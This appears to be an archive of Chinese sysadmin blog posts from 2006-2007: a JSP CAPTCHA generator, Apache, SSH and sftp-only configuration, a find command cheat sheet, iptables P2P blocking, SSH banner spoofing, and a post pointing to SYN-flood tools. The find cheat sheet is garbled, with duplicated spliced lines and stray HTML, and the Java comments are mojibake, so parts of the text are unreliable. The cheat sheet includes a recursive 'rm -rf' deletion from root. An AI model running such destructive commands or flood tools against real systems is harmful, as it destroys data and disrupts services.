submit表单(注意:必须用submit)后,在处理注册的servlet里读出session 里面的随机码:
String VerifyCode = (String) session.getAttribute("VerifyCode");
判断两个值是否一致,并做相关处理,然后清除session值:
//清除 验证码session
session.removeAttribute("VerifyCode");

对调用SERVLET生成图形验证码:
<img src="/getimg" width="50" height="20">
对于JSP生存的也一样,不过要注意session

这个好像是jsp的

<!----------登陆页面--------------->
<%@ page contentType="text/html; charset=gb2312" language="java" import="javax.imageio.*" %>
<%@ taglib uri ="/WEB-INF/struts-html.tld" prefix ="html "%>

<html:html>
<head>
<title>登陆</title>
</head>
<body>
<html:form>
<table width="50%" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td colspan="2"><div align="center">登陆系统</div></td>
</tr>
<tr>
<td width="24%">用户名</td>
<td width="76%"><html:text property="username"/></td>
</tr>
<tr>
<td>密码</td>
<td><html:text name="hi" value="username" property="password" size="16" maxlength="16"/></td>
</tr>
<tr>
<td><jsp:include page="image.jsp"/></td>
<td><html:text property="rand" size="16" maxlength="16"/></td>
</tr>
<tr>
<td><html:submit property="submit" value="Submit"/></td>
<td><html:textarea property="message" cols="40" rows="6"/>
</td></tr>
<tr>
<td colspan="2"></td>
</tr>
</table>
</html:form>
</body>
</html:html>

<---------------图片生成文件-------------------->
<%@ page contentType="image/jpeg" import="javax.imageio.*" %>
<jsp:useBean id="image" scope="session" class="org.ddr.image.Image"/>

<%
//ÉèÖÃÒ³Ãæ²»»º´æ
response.setHeader("Pragma","No-cache");
response.setHeader("Cache-Control","no-cache");
response.setDateHeader("Expires", 0);

// ½«ÈÏÖ¤Âë´æÈëSESSION
session.setAttribute("rand",image.sRand);

// Êä³öͼÏóµ½Ò³Ãæ
ImageIO.write(image.creatImage(), "JPEG", response.getOutputStream());

%>
《-----------------图片生成类-----------》
package org.ddr.image;

import java.awt.*;
import java.awt.image.*;
import java.util.*;

/*
* Created on 2004-8-4
*
* To change the template for this generated file go to
* Window>Preferences>Java>Code Generation>Code and Comments
*/

/**
* @author
*
* To change the template for this generated type comment go to
* Window>Preferences>Java>Code Generation>Code and Comments
*/
public class Image {

public String sRand="";

public Color getRandColor(int fc,int bc){//¸ø¶¨·¶Î§»ñµÃËæ»úÑÕÉ«
Random random = new Random();
if(fc>255) fc=255;
if(bc>255) bc=255;
int r=fc+random.nextInt(bc-fc);
int g=fc+random.nextInt(bc-fc);
int b=fc+random.nextInt(bc-fc);
return new Color(r,g,b);
}
public BufferedImage creatImage(){

// ÔÚÄÚ´æÖд´½¨Í¼Ïó
int width=60, height=20;
BufferedImage image = new BufferedImage(width, height, BufferedImage.TYPE_INT_RGB);

// »ñȡͼÐÎÉÏÏÂÎÄ
Graphics g = image.getGraphics();

//Éú³ÉËæ»úÀà
Random random = new Random();

// É趨±³¾°É«
g.setColor(getRandColor(200,250));
g.fillRect(0, 0, width, height);

//É趨×ÖÌå
g.setFont(new Font("Times New Roman",Font.PLAIN,18));

//»­±ß¿ò
//g.setColor(new Color());
//g.drawRect(0,0,width-1,height-1);


// Ëæ»ú²úÉú155Ìõ¸ÉÈÅÏߣ¬Ê¹Í¼ÏóÖеÄÈÏÖ¤Âë²»Ò×±»ÆäËü³ÌÐò̽²âµ½
g.setColor(getRandColor(160,200));
for (int i=0;i<155;i++)
{
int x = random.nextInt(width);
int y = random.nextInt(height);
int xl = random.nextInt(12);
int yl = random.nextInt(12);
g.drawLine(x,y,x+xl,y+yl);
}

// È¡Ëæ»ú²úÉúµÄÈÏÖ¤Âë(4λÊý×Ö)
//String rand = request.getParameter("rand");
//rand = rand.substring(0,rand.indexOf("."));

for (int i=0;i<4;i++){
String rand=String.valueOf(random.nextInt(10));
sRand+=rand;
// ½«ÈÏÖ¤ÂëÏÔʾµ½Í¼ÏóÖÐ
g.setColor(new Color(20+random.nextInt(110),20+random.nextInt(110),20+random.nextInt(110)));//µ÷Óú¯Êý³öÀ´µÄÑÕÉ«Ïàͬ£¬¿ÉÄÜÊÇÒòΪÖÖ×ÓÌ«½Ó½ü£¬ËùÒÔÖ»ÄÜÖ±½ÓÉú³É
g.drawString(rand,13*i+6,16);
}
// ͼÏóÉúЧ
g.dispose();
return image;
}
}

Posted by vitter at 2007-02-26 10:13:34 | 评论 (0) | 引用

February 11, 2007

让apache日志不记录图片

51cto的LOG太大了,去掉一些无用的图片记录。
vi httpd.conf 加入修改日志记录
NameVirtualHost 211.xxx.xx.x


SetEnv IMAGES 1


ServerAdmin vitter@localdomain
DocumentRoot "/usr/local/apache/htdocs"
ServerName xxx.xxx.com
ErrorLog "|/usr/local/apache/bin/rotatelogs /log/xx_log/%Y%m%d.error.log 604800"
CustomLog "|/usr/local/apache/bin/rotatelogs /log/xx_log/%Y_%m_%d.access.log 86400 480" combined env=!IMAGES


ServerAdmin vitter@localdomain
DocumentRoot /usr/local/apache/htdocs2
ServerName xxx.xxx.net
DirectoryIndex index.html index.htm
ErrorLog logs/xxx_err
CustomLog logs/xxx_log common env=!IMAGES

..............

Posted by vitter at 2007-02-11 11:13:50 | 评论 (0) | 引用

February 09, 2007

2张不错的图:linux发行版大全和黑客产业链

linux.jpg


hacker.jpg

Posted by vitter at 2007-02-09 09:38:47 | 评论 (0) | 引用

February 05, 2007

用SSH隧道直接浏览网页

1、下载plink,在命令行运行plink username@server -D 127.0.0.1:port,把username、server和port换成你自己的就成,例如plink root@1.1.1.1 -D 127.0.0.1:8080;
2、将浏览器的socks5代理设置为127.0.0.1:8080。

Posted by vitter at 2007-02-05 09:48:01 | 评论 (2) | 引用

January 26, 2007

Linux中find常见用法示例

今天又有人问我linux下查找文件的一些问题,干脆直接帮他贴个老帖子出来:

find常用示例
·find path -option [ -print ] [ -exec -ok command ] {} \;
#-print 将查找到的文件输出到标准输出
#-exec command {} \; -----将查到的文件执行command操作,{} 和 \;之间有空格
#-ok 和-exec相同,只不过在操作前要询用户

====================================================
-name filename #查找名为filename的文件
-perm #按执行权限来查找
-user username #按文件属主来查找
-group groupname #按组来查找
-mtime -n +n #按文件更改时间来查找文件,-n指n天以内,+n指n天以前
-atime -n +n #按文件访问时间来查GIN: 0px">-perm #按执行权限来查找
-user username #按文件属主来查找
-group groupname #按组来查找
-mtime -n +n #按文件更改时间来查找文件,-n指n天以内,+n指n天以前
-atime -n +n #按文件访问时间来查找文件,-n指n天以内,+n指n天以前
-ctime -n +n #按文件创建时间来查找文件,-n指n天以内,+n指n天以前
-nogroup #查无有效属组的文件,即文件的属组在/etc/groups中不存在
-nouser #查无有效属主的文件,即文件的属主在/etc/passwd中不存
-newer f1 !f2 找文件,-n指n天以内,+n指n天以前
-ctime -n +n #按文件创建时间来查找文件,-n指n天以内,+n指n天以前
-nogroup #查无有效属组的文件,即文件的属组在/etc/groups中不存在
-nouser #查无有效属主的文件,即文件的属主在/etc/passwd中不存
-newer f1 !f2 #查更改时间比f1新但比f2旧的文件
-type b/d/c/p/l/f #查是块设备、目录、字符设备、管道、符号链接、普通文件
-size n[c] #查长度为n块[或n字节]的文件
-depth #使查找在进入子目录前先行查找完本目录
-fstype #查更改时间比f1新但比f2旧的文件
-type b/d/c/p/l/f #查是块设备、目录、字符设备、管道、符号链接、普通文件
-size n[c] #查长度为n块[或n字节]的文件
-depth #使查找在进入子目录前先行查找完本目录
-fstype #查位于某一类型文件系统中的文件,这些文件系统类型通常可 在/etc/fstab中找到
-mount #查文件时不跨越文件系统mount点
-follow #如果遇到符号链接文件,就跟踪链接所指的文件
-cpio %; #查位于某一类型文件系统中的文件,这些文件系统类型通常可 在/etc/fstab中找到
-mount #查文件时不跨越文件系统mount点
-follow #如果遇到符号链接文件,就跟踪链接所指的文件
-cpio #对匹配的文件使用cpio命令,将他们备份到磁带设备中
-prune #忽略某个目录

====================================================
$find ~ -name "*.txt" -print #在$HOME中查.txt文件并显示
$find . -name "*.txt" -print
$find . -name "[A-Z]*" -pri26nbsp; #对匹配的文件使用cpio命令,将他们备份到磁带设备中
-prune #忽略某个目录

=====================================================
$find ~ -name "*.txt" -print #在$HOME中查.txt文件并显示
$find . -name "*.txt" -print
$find . -name "[A-Z]*" -print #查以大写字母开头的文件
$find /etc -name "host*" -print #查以host开头的文件
$find . -name "[a-z][a-z][0--9][0--9].txt" -print #查以两个小写字母和两个数字开头的txt文件
$find . -perm 755 -print
$find . -perm -007 -exec ls -l {} \; #查所有用户都可读写执行的文件同-perm 777
$find . -type d -print
$find . ! -type d -print
$find . -type l -print

$find . -size +1000000c -print #查长度大于1Mb的文件
$find . -size 100c -print # 查长度为100c的文件
$find . -size +10 -print #查长度超过期作废10块的文件(1块=512字节)

$cd /
$find etc home apps -depth -print | cpio -ivcdC65536 -o /dev/rmt0
$find /etc -name "passwd*" -exec grep "cnscn" {} \; #看是否存在cnscn用户
$find . -name "yao*" | xargs file
$find . -name "yao*" | xargs echo "" > /tmp/core.log
$find . -name "yao*" | xargs chmod o-w

======================================================
find -name april* 在当前目录下查找以april开始的文件
find -name april* fprint file 在当前目录下查找以april开始的文件,并把结果输出到file中
find -name ap* -o -name may* 查找以ap或may开头的文件
find /mnt -name tom.txt -ftype vfat 在/mnt下查找名称为tom.txt且文件系统类型为vfat的文件
find /mnt -name t.txt ! -ftype vfat 在/mnt下查找名称为tom.txt且文件系统类型不为vfat的文件
find /tmp -name wa* -type l 在/tmp下查找名为wa开头且类型为符号链接的文件
find /home -mtime -2 在/home下查最近两天内改动过的文件
find /home -atime -1 查1天之内被存取过的文件
find /home -mmin +60 在/home下查60分钟前改动过的文件
find /home -amin +30 查最近30分钟前被存取过的文件
find /home -newer tmp.txt 在/home下查更新时间比tmp.txt近的文件或目录
find /home -anewer tmp.txt 在/home下查存取时间比tmp.txt近的文件或目录
find /home -used -2 列出文件或目录被改动过之后,在2日内被存取过的文件或目录
find /home -user cnscn 列出/home目录内属于用户cnscn的文件或目录
find /home -uid +501 列出/home目录内用户的识别码大于501的文件或目录
find /home -group cnscn 列出/home内组为cnscn的文件或目录
find /home -gid 501 列出/home内组id为501的文件或目录
find /home -nouser 列出/home内不属于本地用户的文件或目录
find /home -nogroup 列出/home内不属于本地组的文件或目录
find /home -name tmp.txt -maxdepth 4 列出/home内的tmp.txt 查时深度最多为3层
find /home -name tmp.txt -mindepth 3 从第2层开始查
find /home -empty 查找大小为0的文件或空目录
find /home -size +512k 查大于512k的文件
find /home -size -512k 查小于512k的文件
find /home -links +2 查硬连接数大于2的文件或目录
find /home -perm 0700 查权限为700的文件或目录
find /tmp -name tmp.txt -exec cat {} \;
find /tmp -name tmp.txt -ok rm {} \;
find / -amin -10 # 查找在系统中最后10分钟访问的文件
find / -atime -2 # 查找在系统中最后48小时访问的文件
find / -empty # 查找在系统中为空的文件或者文件夹
find / -group cat # 查找在系统中属于 groupcat的文件
find / -mmin -5 # 查找在系统中最后5分钟里修改过的文件
find / -mtime -1 #查找在系统中最后24小时里修改过的文件
find / -nouser #查找在系统中属于作废用户的文件
find / -user fred #查找在系统中属于FRED这个用户的文件

查当前目录下的所有普通文件
# find . -type f -exec ls -l {} \;
-rw-r--r-- 1 root root 34928 2003-02-25 ./conf/httpd.conf
-rw-r--r-- 1 root root 12959 2003-02-25 ./conf/magic
-rw-r--r-- 1 root root 180 2003-02-25 ./conf.d/README
查当前目录下的所有普通文件,并在- e x e c选项中使用ls -l命令将它们列出

=================================================
在/ l o g s目录中查找更改时间在5日以前的文件并删除它们:
$ find logs -type f -mtime +5 -exec -ok rm {} \;

=================================================
查询当天修改过的文件
[root@book class]# find ./ -mtime -1 -type f -exec ls -l {} \;

=================================================
查询文件并询问是否要显示
[root@book class]# find ./ -mtime -1 -type f -ok ls -l {} \;
< ls ... ./classDB.inc.php > ? y
-rw-r--r-- 1 cnscn cnscn 13709 1月 12 12:22 ./classDB.inc.php
[root@book class]# find ./ -mtime -1 -type f -ok ls -l {} \;
< ls ... ./classDB.inc.php > ? n
[root@book class]#

=================================================
查询并交给awk去处理
[root@book class]# who | awk '{print $1"\t"$2}'
cnscn pts/0

=================================================
awk---grep---sed

[root@book class]# df -k | awk '{print $1}' | grep -v 'none' | sed s"/\/dev\///g"
文件系统
sda2
sda1
[root@book class]# df -k | awk '{print $1}' | grep -v 'none'
文件系统
/dev/sda2
/dev/sda1

1)在/tmp中查找所有的*.h,并在这些文件中查找“SYSCALL_VECTOR",最后打印出所有包含"SYSCALL_VECTOR"的文件名

A) find /tmp -name "*.h" | xargs -n50 grep SYSCALL_VECTOR
B) grep SYSCALL_VECTOR /tmp/*.h | cut -d':' -f1| uniq > filename
C) find /tmp -name "*.h" -exec grep "SYSCALL_VECTOR" {} \; -print


2)find / -name filename -exec rm -rf {} \;
find / -name filename -ok rm -rf {} \;

3)比如要查找磁盘中大于3M的文件:
find . -size +3000k -exec ls -ld {} ;

4)将find出来的东西拷到另一个地方
find *.c -exec cp '{}' /tmp ';'

如果有特殊文件,可以用cpio,也可以用这样的语法:
find dir -name filename -print | cpio -pdv newdir

6)查找2004-11-30 16:36:37时更改过的php文件
# A=`find ./ -name "*.php"` && ls -l --full-time $A 2>/dev/null | grep "2004-11-30 16:36:37"

Posted by vitter at 2007-01-26 13:01:06 | 评论 (4) | 引用

RedhatA4 仅允许sftp的3种设置方法 (HOWTO SFTP Server 不允许shell 登陆)

方法一:简单实用
usermod -s /usr/lib/ssh/sftp-server user
方法二:安装rssh
root用户
0)tar -zxvf rssh-2.3.2.tar.gz
1)./configure --prefix=/usr --sysconfdir=/etc
2)make
3) make install
4) sh mkchroot.sh /home/ftpuser/ftpdoc ftpuser 077
5) vi /etc/rssh.conf
allowscp
allowsftp
umask = 022
chrootpath = /home/ftpuser/ftpdoc
6)/etc/rc.d/init.d/sshd restart
这样我们原来建立的ftpuser就只能通过sftp来访问了。
通过设置rssh.conf,还可以给每个用户分别建立访问规则
##################################
#test0:x:501:502::/home/test0:/usr/local/bin/rssh scp可, sftp可
#test1:x:502:503::/home/test1:/usr/local/bin/scpsh scp可, sftp不可
#test2:x:503:504::/home/test2:/usr/local/bin/sftpsh scp可, sftp不可
#testno:x:504:505::/home/testno:/sbin/nologin 都不可
###################################
方法三 scponly
1) 解压缩安装包
tar zxvf scponly-4.6.tgz
2) 安装
cd scponly-4.6
./configure --enable-chrooted-binary
make
make install
3 )增加用户
make jail

Username to install [scponly] #输入登录系统的用户名:jack
home directory you wish to set for this user [/home/jack] #用户目录默认为/home/jack
name of the writeable subdirectory [incoming] #输入用户目录下能读写的目录
New password: #输入用户密码
Retype new password: #确认用户密码

另外rssh还可以使sftp用户登陆后被chroot,不能进入到其他目录。这样就没有必要去安装经过chroot补丁的sshd了。
用 rpm 安装 rssh,缺省的几个比较重要的文件应该是安装在

/usr/bin/rssh
/usr/libexec/rssh_chroot_helper
/usr/share/doc/rssh-2.3.2/mkchroot.sh
/etc/rssh.conf

或者您自己编译源码:

./configure --prefix=/usr --sysconfdir=/etc

修改用户的 shell 为 /usr/bin/rssh , 这样这个用户就不能 ssh 登录了

usermod -s /usr/bin/rssh test

然后创建用户 sftp 的 chroot 目录。

给对应的 test 帐号设置一个 chroot 目录的命令:

/usr/libexec/rssh_chroot_helper /home/test test 0755

最后修改 /etc/rssh.conf:

首先确认 allowsftp 被设置
再添加一行配置:user=test:077:00010:/home/rssh_chroot/test
077 是给 sftp 上来的用户分配缺省 umask
00010 是 access bits, 倒数第二个 '1' 表示给该用户 sftp 权限

Posted by vitter at 2007-01-26 11:26:58 | 评论 (2) | 引用

January 16, 2007

让用户遵守安全策略的10个方法

用户安全是信息安全体系中最脆弱,也是最难进行安全加固的一个环节。试想,你配置了企业防火墙、加密、网络访问控制和防病毒方案,却不能阻止用户进行随便访问网站、下载软件等有可能威胁到整个企业网络安全的操作。
怎样才能让用户按照安全策略上的规定进行操作?怎样才能确定用户理解了你做的安全策略并时刻遵守它?
参照一些安全专家的建议,并结合Joker自己平时的实践,Joker试总结了10个让用户遵守安全策略的方法:


1、 制定简单有效的安全策略

企业中每个员工都很忙,每个员工都有很多事情要忙,没人愿意拿出一个上午的时间来仔细阅读一份15页的安全策略,并根据这份方案对自己的机器及日常工作流程进行配置—— 很多时候,安全策略得不到执行,都是因为最终用户没有时间去仔细阅读一个冗长的安全策略文档,或者安全策略上的配置方案太长太琐碎。在这种情况下,安全策略文档往往会像家用电器的说明书一样—— 没人会去看。
由此可知,一个简单明了,可以短时间内完成配置的安全策略才是最终用户可以接受并愿意遵守的,怎么平衡安全与简单,就需要在项目中根据实际情况进行操作。

2、 确定安全策略没有和日常工作流程冲突

不少安全策略方案在制定时并没有考虑使用对象的日常工作流程,只是单纯的从安全及技术角度对配置和操作进行规定。这种安全策略方案真正实施起来常常会和使用者的工作冲突,使用者往往会破坏安全策略的规定而进行操作,因此在执行一个制定好的安全策略之前,必须先确定安全策略与用户的日常工作流程没有冲突。

3、 确定用户已经阅读并理解安全策略

安全策略方案制定并分发下去之后,怎样确保用户已经阅读并理解该方案?这是安全策略在最终用户那里得到执行的前提。国外企业对这个问题的解决很有参考意义: 在安全策略方案分发后制定一个登记表,要求员工阅读安全策略方案后在表上签字确认。
不过这种方式有个缺陷,就是不能对员工是否真的阅读过安全策略文档进行确认,所以可以对上述解决方案进行补充,在安全策略方案分发后先对员工进行简单的安全策略实施培训,这将对安全策略的实施及执行效果有显著的提升。

4、 从高层获得安全策略的执行支持

安全策略制定之后,常常会遇上一个问题,根据安全策略,某个操作或者某个配置是有问题的,但是用户却置若罔闻,而作为外来者的安全策略制定者,也往往无法对用户产生足够的权威和影响。因此,要解决这样的问题的,只有从客户的高层管理机构或者部门管理机构获得安全策略的执行支持这一途径。

5、 让最终用户了解不遵守安全策略可能造成的后果

很多最终用户不把安全策略当一回事往往是因为他们从来没有经历过信息安全事故,也从来没有因此各种信息安全威胁而导致工作流程的瘫痪。就像学车的时候驾校的教练常常带学员看交通事故的资料及展览,伴随安全策略方案一块提供的信息安全事故案例可以从很大程度上使最终用户了解不安全策略进行配置的后果的严重性。

6、 加强最终用户培训

安全策略制定的一个常见错误是制定者把最终用户的技术培训当做一次性的活动,在安全策略实施后只进行一次安全技术的培训就万事大吉。其实,正确的方法是不定期对最终用户进行安全策略及安全技术的简单培训,尤其是安全策略进行修改或面临新的安全威胁、部署新的安全解决方案之后,更要对用户进行二次培训,以加强安全策略的有效程度。

7、 建立最终用户和技术部门的沟通渠道

最终用户里面有很大一部分并不是计算机专业人士,或者连计算机操作都不怎么熟练。他们常常不清楚他们对自己的机器能做什么、不能做什么、为什么要这样那样做。但是他们常常又羞于去问别人,害怕别人认为他们知识缺乏、不够专业。由此导致安全策略在这些用户这里得不到完全实施甚至无效。
对这种问题的解决只能靠加强最终用户和企业技术部门的交流,并建立有效的信息沟通渠道,定期不定期的小组讨论或者定点问题解答都是不错的方案。

8、 对用户及安全策略的实施进行安全测试

在安全策略方案分发之后,建议其有效性的最好方法是什么? 答案是:使用实际环境的条件对其进行检测。技术部门或者安全策略制定者可以根据面临的安全威胁,并结合技术手段,对使用安全策略配置后的工作环境进行模拟攻击和渗透,对安全策略方案本身的有效性和实施的程度进行检测,并使用检测的结果对安全策略及其部署进行进一步的完善。

9、 监控最终用户的上网行为

不少企业部署安全策略方案,却缺乏方案部署后对最终用户使用网络及信息资源的监控手段,即使最终用户违反了安全策略方案使用信息资源也没有很好的处理手段。目前市场上有不少日志分析和实时监控等功能的工具,使用这类工具对最终用户的上网行为进行监控,能对安全策略的实施进行很好的补充及加强。

10、保持安全策略的更新

信息安全技术日新月异,企业所面临的信息安全威胁也随着时间的推移不断而不断改变。一个过期的安全策略不能对企业的信息安全起到足够的保护作用。安全策略也需要根据企业的安全需求和技术发展进行不断的修改更新,才能保证企业的信息安全不受新的信息安全威胁的影响。

Posted by vitter at 2007-01-16 12:20:25 | 评论 (0) | 引用

January 09, 2007

用iptables封P2P软件下载

说明:
为了封堵内网的大量P2P软件对带宽的影响。

方法:
使用iptables的扩展模块ipp2p来进行控制。

下载:
ipp2p-0.8.2.tar.gz
# wget http://www.ipp2p.org/downloads/ipp2p-0.8.2.tar.gz
iptables-1.2.11.tar.bz2
# wget http://www.netfilter.org/projects/iptables/files/iptables-1.2.11.tar.bz2
(需要使用到源码里面的iptables.h,请注意下载和你使用的iptables同样的版本,可用iptables -V察看系统安装的iptables的软件版本。)

安装:
# cd /usr/local/src/
# tar zxvf ipp2p-0.8.2.tar.gz
# tar jxvf iptables-1.2.11.tar.bz2
# cd ipp2p-0.8.2

修改ipp2p目录中的Markfile。
将IPTABLES_SRC = $(wildcard /usr/src/iptables-$(IPTVER))修改为自己的iptables源码路径我的是IPTABLES_SRC = $(wildcard /usr/local/src/iptables-$(IPTVER)) 我习惯把源码下载在/usr/local/src下解压编译。

# make
拷贝libipt_ipp2p.so 到你的iptables lib目录下
# cp libipt_ipp2p.so /lib/iptables/
拷贝ipt_ipp2p.o和ipt_ipp2p.ko到你的modules下
# cp ipt_ipp2p.o /lib/modules/
加载模块:2.4内核的
# insmod ipt_ipp2p.o
2.6内核的
# insmod ipt_ipp2p.ko

使用:
# iptables -m ipp2p --help
命令,测试模块是否能正常装载。显示正常的帮助文件。

加入一条规则封锁P2P的软件使用。

# iptables -A FORWARD -m ipp2p --edk --kazaa --bit -j DROP

Posted by vitter at 2007-01-09 16:50:23 | 评论 (0) | 引用

December 25, 2006

修改SSH的banner

欢迎转载,请保留作者信息
vitter@safechina.net
http://www.securitycn.net
http://www.vfocus.net

看过包子的改OpenSSH的banner的文章后,也想把自己的ssh改了,由于OpenSSH漏洞相对来说比较多,我习惯用www.ssh.com的SSH,比较安全也比较正宗,呵呵他的免费版本都n年没更新了。比如我的benner是这样的:

[root@securitycn ssh-3.2.9.1]# telnet xxx.com 22
Trying xxx.xxx.xxx.24...
Connected to xxx.com (xxx.xxx.xxx.24).
Escape character is '^]'.
SSH-2.0-3.2.9.1 SSH Secure Shell (non-commercial)

如果想伪装的话改这2个文件

版本号
[root@securitycn ssh-3.2.9.1]# vi apps/ssh/ssh2version.h

#define SSH2_VERSION "3.2.9.1"

banner名
[root@securitycn ssh-3.2.9.1]# vi apps/ssh/ssh2includes.h


#define SSH2_VERSION_STRING "SSH Secure Shell " SSH2_VERSION \
" (non-commercial version)"
#define SSH2_PROTOCOL_VERSION_STRING SSH2_VERSION \
" SSH Secure Shell (non-commercial)"

至于SSH-2.0这个头建议保留,因为可能在握手的时候需要靠这个来确认版本的,如果改了可能会有问题。
如果想去掉的话在:
apps/ssh/sshd2.c
apps/ssh/lib/sshproto/trcommon.h
apps/ssh/sshstdiofilter.c

改完后编译:
configure
make
make install

Posted by vitter at 2006-12-25 18:01:00 | 评论 (0) | 引用

December 08, 2006

calcru: negative time..错误

vmware下安装6.1的问题
经查找,得到解决办法: 1)问题产生原因: The problem is likely that WMware doesn't correctly simulate the timer we use to tickle softclock. 2)解决办法: "sysctl kern.timecounter.hardware=TSC" may help you, if kernel uses ACPI-fast as a timecounter. 3)效果: 使用root执行了以下命令: #sysctl kern.timecounter.hardware=TSC kern.timecounter.hardware: ACPI-safe --> TSC 现在,系统不再出现calcru的提示了。

Posted by vitter at 2006-12-08 18:51:13 | 评论 (0) | 引用

December 07, 2006

webmin的snort模块补丁

这几天在FreeBSD下用Snort+ACID构建入侵检测系统(IDS),具体实施见文档:
http://www.securitycn.net/snort/freebsd_snort_IDS.doc
完了之后装了套webmin进行管理,http://www.webmin.com/
然后装了第三方的snort的webmin模块,snort-1.0.wbm发现有问题,自己该文件解决,patch我作好了:http://www.securitycn.net/snort/webmin-snort.diff

Posted by vitter at 2006-12-07 14:18:04 | 评论 (0) | 引用

November 30, 2006

FreeBSD下apache2.2.*启动报错

手工启动会报错:
BSD# ../bin/apachectl start
[Thu Nov 30 13:51:05 2006] [warn] (2)No such file or directory: Failed to enable the 'httpready' Accept Filter

解决办法:
BSD# ../bin/apachectl stop
BSD# kldload /boot/kernel/accf*.ko

Posted by vitter at 2006-11-30 14:16:14 | 评论 (1) | 引用

Apache模块索引

基本(B)模块默认包含,必须明确禁用;扩展(E)/实验(X)模块默认不包含,必须明确启用。
模块名称 状态 简要描述
mod_actions (B) 基于媒体类型或请求方法,为执行CGI脚本而提供
mod_alias (B) 提供从文件系统的不同部分到文档树的映射和URL重定向
mod_asis (B) 发送自己包含HTTP头内容的文件
mod_auth_basic (B) 使用基本认证
mod_authn_default (B) 在未正确配置认证模块的情况下简单拒绝一切认证信息
mod_authn_file (B) 使用纯文本文件为认证提供支持
mod_authz_default (B) 在未正确配置授权支持模块的情况下简单拒绝一切授权请求
mod_authz_groupfile (B) 使用纯文本文件为组提供授权支持
mod_authz_host (B) 供基于主机名、IP地址、请求特征的访问控制
mod_authz_user (B) 基于每个用户提供授权支持
mod_autoindex (B) 自动对目录中的内容生成列表,类似于"ls"或"dir"命令
mod_cgi (B) 在非线程型MPM(prefork)上提供对CGI脚本执行的支持
mod_cgid (B) 在线程型MPM(worker)上用一个外部CGI守护进程执行CGI脚本
mod_dir (B) 指定目录索引文件以及为目录提供"尾斜杠"重定向
mod_env (B) 允许Apache修改或清除传送到CGI脚本和SSI页面的环境变量
mod_filter (B) 根据上下文实际情况对输出过滤器进行动态配置
mod_imagemap (B) 处理服务器端图像映射
mod_include (B) 实现服务端包含文档(SSI)处理
mod_isapi (B) 仅限于在Windows平台上实现ISAPI扩展
mod_log_config (B) 允许记录日志和定制日志文件格式
mod_mime (B) 根据文件扩展名决定应答的行为(处理器/过滤器)和内容(MIME类型/语言/字符集/编码)
mod_negotiation (B) 提供内容协商支持
mod_nw_ssl (B) 仅限于在NetWare平台上实现SSL加密支持
mod_setenvif (B) 根据客户端请求头字段设置环境变量
mod_status (B) 生成描述服务器状态的Web页面
mod_userdir (B) 允许用户从自己的主目录中提供页面(使用"/~username")
mod_auth_digest (X) 使用MD5摘要认证(更安全,但是只有最新的浏览器才支持)
mod_authn_alias (E) 基于实际认证支持者创建扩展的认证支持者,并为它起一个别名以便于引用
mod_authn_anon (E) 提供匿名用户认证支持
mod_authn_dbd (E) 使用SQL数据库为认证提供支持
mod_authn_dbm (E) 使用DBM数据库为认证提供支持
mod_authnz_ldap (E) 允许使用一个LDAP目录存储用户名和密码数据库来执行基本认证和授权
mod_authz_dbm (E) 使用DBM数据库文件为组提供授权支持
mod_authz_owner (E) 基于文件的所有者进行授权
mod_cache (E) 基于URI键的内容动态缓冲(内存或磁盘)
mod_cern_meta (E) 允许Apache使用CERN httpd元文件,从而可以在发送文件时对头进行修改
mod_charset_lite (X) 允许对页面进行字符集转换
mod_dav (E) 允许Apache提供DAV协议支持
mod_dav_fs (E) 为mod_dav访问服务器上的文件系统提供支持
mod_dav_lock (E) 为mod_dav锁定服务器上的文件提供支持
mod_dbd (E) 管理SQL数据库连接,为需要数据库功能的模块提供支持
mod_deflate (E) 压缩发送给客户端的内容
mod_disk_cache (E) 基于磁盘的缓冲管理器
mod_dumpio (E) 将所有I/O操作转储到错误日志中
mod_echo (X) 一个很简单的协议演示模块
mod_example (X) 一个很简单的Apache模块API演示模块
mod_expires (E) 允许通过配置文件控制HTTP的"Expires:"和"Cache-Control:"头内容
mod_ext_filter (E) 使用外部程序作为过滤器
mod_file_cache (X) 提供文件描述符缓存支持,从而提高Apache性能
mod_headers (E) 允许通过配置文件控制任意的HTTP请求和应答头信息
mod_ident (E) 实现RFC1413规定的ident查找
mod_info (E) 生成Apache配置情况的Web页面
mod_ldap (E) 为其它LDAP模块提供LDAP连接池和结果缓冲服务
mod_log_forensic (E) 实现"对比日志",即在请求被处理之前和处理完成之后进行两次记录
mod_logio (E) 对每个请求的输入/输出字节数以及HTTP头进行日志记录
mod_mem_cache (E) 基于内存的缓冲管理器
mod_mime_magic (E) 通过读取部分文件内容自动猜测文件的MIME类型
mod_proxy (E) 提供HTTP/1.1的代理/网关功能支持
mod_proxy_ajp (E) mod_proxy的扩展,提供Apache JServ Protocol支持
mod_proxy_balancer (E) mod_proxy的扩展,提供负载平衡支持
mod_proxy_connect (E) mod_proxy的扩展,提供对处理HTTP CONNECT方法的支持
mod_proxy_ftp (E) mod_proxy的FTP支持模块
mod_proxy_http (E) mod_proxy的HTTP支持模块
mod_rewrite (E) 一个基于一定规则的实时重写URL请求的引擎
mod_so (E) 允许运行时加载DSO模块
mod_speling (E) 自动纠正URL中的拼写错误
mod_ssl (E) 使用安全套接字层(SSL)和传输层安全(TLS)协议实现高强度加密传输
mod_suexec (E) 使用与调用web服务器的用户不同的用户身份来运行CGI和SSI程序
mod_unique_id (E) 为每个请求生成唯一的标识以便跟踪
mod_usertrack (E) 使用Session跟踪用户(会发送很多Cookie),以记录用户的点击流
mod_version (E) 提供基于版本的配置段支持
mod_vhost_alias (E) 提供大批量虚拟主机的动态配置支持

Posted by vitter at 2006-11-30 14:12:42 | 评论 (1) | 引用

November 27, 2006

Linux下Zakath编写的SYN Flooder

Linux下Zakath编写的SYN Flooder

http://www.niksula.cs.hut.fi/~dforsber/synflood/programs/synk4.c
http://www.niksula.cs.hut.fi/~dforsber/synflood/result.html SYNFlood测试

linux下编译有点问题,直接屏蔽了170行即可。

windows下的在文章最后:

http://www.xfocus.net/articles/200106/208.html

Posted by vitter at 2006-11-27 17:15:43 | 评论 (0) | 引用

November 23, 2006

Windows XP权限整合应用全解

作为微软第一个稳定且安全的操作系统,Windows XP经过几年的磨合过渡期,终于以超过Windows系列操作系统50%的用户占有量成为目前用户使用最多的操作系统。在慢慢熟悉了Windows XP后,人们逐渐开始不满足基本的系统应用了,他们更加渴望学习一些较深入且实用的知识,以便能让系统充分发挥出Windows XP的高级性能。

因此本文以Windows XP Professional版本为平台,引领大家感受一下Windows XP在"权限"方面的设计魅力!

一、什么是权限

